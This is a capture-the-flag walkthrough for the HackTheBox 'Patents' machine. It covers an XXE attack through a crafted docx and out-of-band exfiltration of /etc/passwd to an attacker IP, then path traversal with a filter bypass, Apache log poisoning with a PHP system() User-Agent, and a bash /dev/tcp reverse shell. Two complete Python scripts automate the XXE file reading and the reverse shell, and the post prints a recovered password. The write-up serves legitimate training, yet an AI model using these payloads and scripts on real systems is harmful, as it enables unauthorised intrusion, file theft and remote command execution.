Patents was a good box. Not the best I did, but a good practice. It has a web page where you can upload a docx file. It’s being parsed, so you can get XEE with it and read files in the server. After geting a config file from the server, we find a webpage that is vulnerable to directory path-transversal. Using the directory-traversal we can use apache log poisoning to get a shell in the context of www-data.
The auto shell for the www-data user is in the body of the post.
This box is not completed. Return here later to finish the buffer overflow part.
Diagram
Not complete yet, I’ll return here latter and get it all.
Enumeration
First step is to enumerate the box. For this we’ll use nmap
1
nmap -sV -sC -Pn 10.10.10.173
-sV - Services running on the ports
-sC - Run some standart scripts
-Pn - Consider the host alive
Port 80
We try to open it on the browser
In upload.html we see a place where we can upload .docx files
It’s always interesing look for upload places, because most time the vulnerability is in it’s kind of mechanims
We download a file-sample
And just upload it on the server, it makes the docx one pdf… Ok, file parsing
Gobuster
Let’s start crafting a little more on the box to see if we can enum more things do explore
1
gobuster dir -u http://10.10.10.173 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
We found a bunch of directories in it. Fine.
We run gobuster again on the release
folder
1
gobuster dir -u http://10.10.10.173/release -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt
And found something interesting on this file
Seems that it’s performing entity parsing, which is very common in XEE attacks.
Possibly the injection point will be this docx file we can upload on the website.
What we will do?
First, we create an empty DOCX file with a custom XML part. Note that the XML must be valid. Inject XXE payload. Upload to test. Repeat step 2 for different payloads.
XEE Attack
Ok, let’s procced
We see the following line on the UpdateDetails
1
enabled entity parsing in custom folder
Seems that all files in custom folder is being parsed. But what is this custom folder? It refer to the customXml folder at the root of a .docx file’s structure once unzipped.
It’s not standard for docx files, we will need to at it manually
We see many ways to make it, for example this
I just added a folder called customXml
with a file item1.xml
in it
The item1.xml is a simple xxe payload
1
2
3
4
5
6
<?xml version="1.0" ?>
<!DOCTYPE xxe [
<!ENTITY % ext SYSTEM "http://10.10.14.20/test">
%ext;
]>
<xxe></xxe>
We zip it again
1
zip -r ../xxe.docx *
And we upload to the server with a python web server opened on port 80
And it reaches our box
File Read Via XEE
What I usually do when I’m exploring XEE is the hability to read files in this vuln. I tried many kind of simple payloads to get the files read on the server, but no one worked well
Se tudo der certo, o parser deve vir buscar na minha Kali o wrapper.dtd. Será criada a entitidade, o %start vai ser modificado com <![CDATA[]]>, o %file com o tomcat-users.xml e o %end com o >]], que fecha o CDATA.
If everything goes ok, the parser shold come to my Kali box and get the wrapper.dtd. Then it’ll create the entity
We create a wrapper file. Then the server could come to me and get this file, then process the request I got from the file.
wrapper.dtd
1
2
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % file "<!ENTITY exfil SYSTEM 'http://10.10.14.20/DATA?%data;'>">
file1.xml
1
2
3
4
5
6
7
<?xml version="1.0" ?>
<!DOCTYPE xxe [
<!ENTITY % ext SYSTEM "http://10.10.14.20/wrapper.dtd">
%ext;
%file;
]>
<xxe>&exfil;</xxe>
We create the smallets file I could
And it worked as expected
Let’s automate the whole things now!
Auto XEE LFI
We will use our python skeleton to do that
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3
import argparse
import requests
import sys
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
args = parser.parse_args()
'''Here we call the functions'''
if __name__ == '__main__':
main()
Here it is
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#!/usr/bin/python3
# Author: 0x4rt3mis
# Auto XEE LFI - Patents HackTheBox
import argparse
import requests
import sys
import os
import re
import base64
from threading import Thread
import threading
import http.server
import socket
from http.server import HTTPServer, SimpleHTTPRequestHandler
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
# Setting the python web server
def webServer():
debug = True
server = http.server.ThreadingHTTPServer(('0.0.0.0', 80), SimpleHTTPRequestHandler)
if debug:
print("[+] Starting Web Server in background [+]")
thread = threading.Thread(target = server.serve_forever)
thread.daemon = True
thread.start()
else:
print("Starting Server")
print('Starting server at http://{}:{}'.format('0.0.0.0', 80))
server.serve_forever()
# Function to just prepare the folders docx
def prepareDoc(lhost):
print("[+] Let's prepare the folders to be ziped ! [+]")
os.system("mkdir Doc")
os.system("mkdir Doc/customXml")
os.system("mkdir Doc/word")
# Create the files and the item1.xml
document = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" mc:Ignorable="w14 wp14"><w:body><w:p><w:pPr><w:pStyle w:val="Normal"/><w:bidi w:val="0"/><w:jc w:val="left"/><w:rPr></w:rPr></w:pPr><w:r><w:rPr></w:rPr><w:t xml:space="preserve"> </w:t></w:r></w:p><w:sectPr><w:type w:val="nextPage"/><w:pgSz w:w="11906" w:h="16838"/><w:pgMar w:left="1134" w:right="1134" w:header="0" w:top="1134" w:footer="0" w:bottom="1134" w:gutter="0"/><w:pgNumType w:fmt="decimal"/><w:formProt w:val="false"/><w:textDirection w:val="lrTb"/></w:sectPr></w:body></w:document>'''
f = open("Doc/word/document.xml", "w")
f.write(document)
f.close()
# item1.xml
payload = '<?xml version="1.0" ?>\n'
payload += '<!DOCTYPE xxe [\n'
payload += '<!ENTITY % ext SYSTEM "http://' + lhost + '/wrapper.dtd">\n'
payload += ' %ext;\n'
payload += ' %file;\n'
payload += ']>\n'
payload += '<xxe>&exfil;</xxe>'
f = open("Doc/customXml/item1.xml", "w")
f.write(payload)
f.close()
print("[+] Folders structude done ! [+]")
os.system("cd Doc; zip -r ../xee.docx *")
print("[+] XEE.DOCX CREATED !! [+]")
# Create the wrapper which will iterate trought the file name
def createWrapper(lhost,file):
payload = '''<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=''' + file + '">\n'
payload += '''<!ENTITY % file "<!ENTITY exfil SYSTEM 'http://''' + lhost + ''':9999/%data;'>">'''
f = open("wrapper.dtd", "w")
f.write(payload)
f.close()
# Function to upload the zip file
def uploadZip(rhost):
url = "http://%s:80/convert.php" %rhost
multipart_data = {
'userfile': ('xee.doc', open('xee.docx', 'rb'), "application/vnd.openxmlformats-officedocument.wordprocessingml.document"),
'submit' : (None,"Generate pdf")
}
upload = r.post(url, files=multipart_data, proxies=proxies)
# Just b64 decode
def b64d(s):
return base64.b64decode(s).decode()
# Function to just read the get.txt file and convert it
def readFile():
f = open('get.txt','r')
output= f.read()
if len(output) < 5:
print("[+] File does not exist or I can't read it!! ")
else:
b64encoded = re.search(' .* ', output).group(0)
b64encoded = b64encoded.removeprefix(" /")
print()
print(b64d(b64encoded))
# Function to read the xee
def xeeLFI(lhost,rhost):
prepareDoc(lhost)
prefix = "Reading file: "
file = ""
while True:
file = input(prefix)
if file != "exit":
createWrapper(lhost,file)
os.system('nc -q 3 -lnvp 9999 > get.txt 2>/dev/null &')
os.system("sleep 2")
uploadZip(rhost)
os.system("sleep 2")
readFile()
else:
print("[+] Exitttttting..... !!!! [+]")
break
# Let's clean the files created
def cleanMess():
os.system("rm -r Doc")
os.system("rm get.txt")
os.system("rm xee.docx")
os.system("rm wrapper.dtd")
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
parser.add_argument('-li', '--localip', help='Local IP Address', required=True)
args = parser.parse_args()
rhost = args.target
lhost = args.localip
'''Here we call the functions'''
# Set up the web python server
webServer()
# Loop files
xeeLFI(lhost,rhost)
# Clean the files
cleanMess()
if __name__ == '__main__':
main()
Let’ss procced our enumeration.
We found a config.php
file, which gobuster gave me the hint before. Is always good to look at config files
Sounds good!
Accessing it we see:
So, let’s try it out
Path Trasversal - Poison - RCE
When I saw this kind of stuff, the first thing comes to my mind is Path Transversal, I tested some standard payloads, but nothing returned
I found this article which use Mangle Paterns to bypass Path Trasnversal Filtering
And it worked!
Ok. After researching a while we found a way to make a log poison on the apache log file /var/log/apache2/access.log
And it includes the USER-AGENT of the request. So we can poison it with a simple PHP RCE
1
User-Agent: <?php system($_REQUEST['cmd']); ?>
And we have RCE!
And we have reverse shell!
And now, let’s automate it!
Here it is
www-data_rev.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/python3
# Author: 0x4rt3mis
# www-data Auto Reverse Shell - Patents - HackTheBox
import argparse
import requests
import sys
import base64
import urllib.parse
import socket, telnetlib
from threading import Thread
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
# Set the handler
def handler(lport,target):
print("[+] Starting handler on %s [+]" %lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',lport))
s.listen(1)
conn, addr = s.accept()
print("[+] Connection from %s [+]" %target)
t.sock = conn
print("[+] Shell'd [+]")
t.interact()
# Function to poison the apache log
def poisonLOG(rhost):
print("[+] Let's Poison the LOG !!! [+]")
url = "http://%s:80/convert.php" %rhost
headers = {"User-Agent": "<?php system($_REQUEST['cmd']); ?>", "Content-Type": "multipart/form-data; boundary=aaa"}
data = "--aaa\r\nContent-Disposition: form-data; name=\"userfile\"; filename=\"xee.doc\"\r\nContent-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document\r\n\r\nPK\x03\x04\r\n\r\n--aaa\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nGenerate pdf\r\n--dc7b6d9099c45960b210c01f3b72bebb--\r\n"
r.post(url, headers=headers, data=data, proxies=proxies)
print("[+] LOG Poisoned !!! [+]")
def getReverse(rhost,lhost,lport):
print("[+] Now Let's get the reverse shell! [+]")
reverse = "bash -i >& /dev/tcp/%s/%s 0>&1" %(lhost,lport)
message_bytes = reverse.encode('ascii')
base64_bytes = base64.b64encode(message_bytes)
base64_message = base64_bytes.decode('ascii')
payload = {
'cmd': 'echo ' + base64_message + '|base64 -d | bash'
}
payload_str = urllib.parse.urlencode(payload, safe='|')
url = "http://%s:80/getPatent_alphav1.0.php?id=....//....//....//....//....//var/log/apache2/access.log&" %rhost
r.get(url, params=payload_str, proxies=proxies, cookies=r.cookies)
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
parser.add_argument('-li', '--lhost', help='Local ip address or hostname', required=True)
parser.add_argument('-lp', '--lport', help='Local port', required=True)
args = parser.parse_args()
rhost = args.target
lhost = args.lhost
lport = args.lport
'''Here we call the functions'''
# Set up the handler
thr = Thread(target=handler,args=(int(lport),rhost))
thr.start()
# Poison the log
poisonLOG(rhost)
# Get the rev shell
getReverse(rhost,lhost,lport)
if __name__ == '__main__':
main()
Let’s continue
www-data –> root container
We download pspy to it
We run it
And one password come to us
!gby0l0r0ck$$!
root container –> root box
After some enum, we found a .git folder
1
find / -name .git 2>/dev/null
We get the git folder in our kali box
In this git folder there is a binary. I’ll not explain how to explore it because of the lack time I have to solve this box. In the future I’ll return here and do it better.
Source Code Analysis
We transfer the source code of the web app to our box, to better analyse it
This is the getPatent_alphav1.0.php
file
We can see where the filter of the path transversal is being applied!
This is the convert.php
file
Here we see where probably the problem is occurring
1
2
3
try {
$document = new Gears\Pdf($uploadfile);
$document->save($pdfOut);
We see it load some modules on the top of the file
1
2
3
4
require __DIR__ . '/vendor/autoload.php';
use Gears;
include('config.php');
$uploaddir = 'uploads/';
We get the gears folder on /vendor, possibly where it’s being renderized. I did not find properly on the code where it’s being parsed.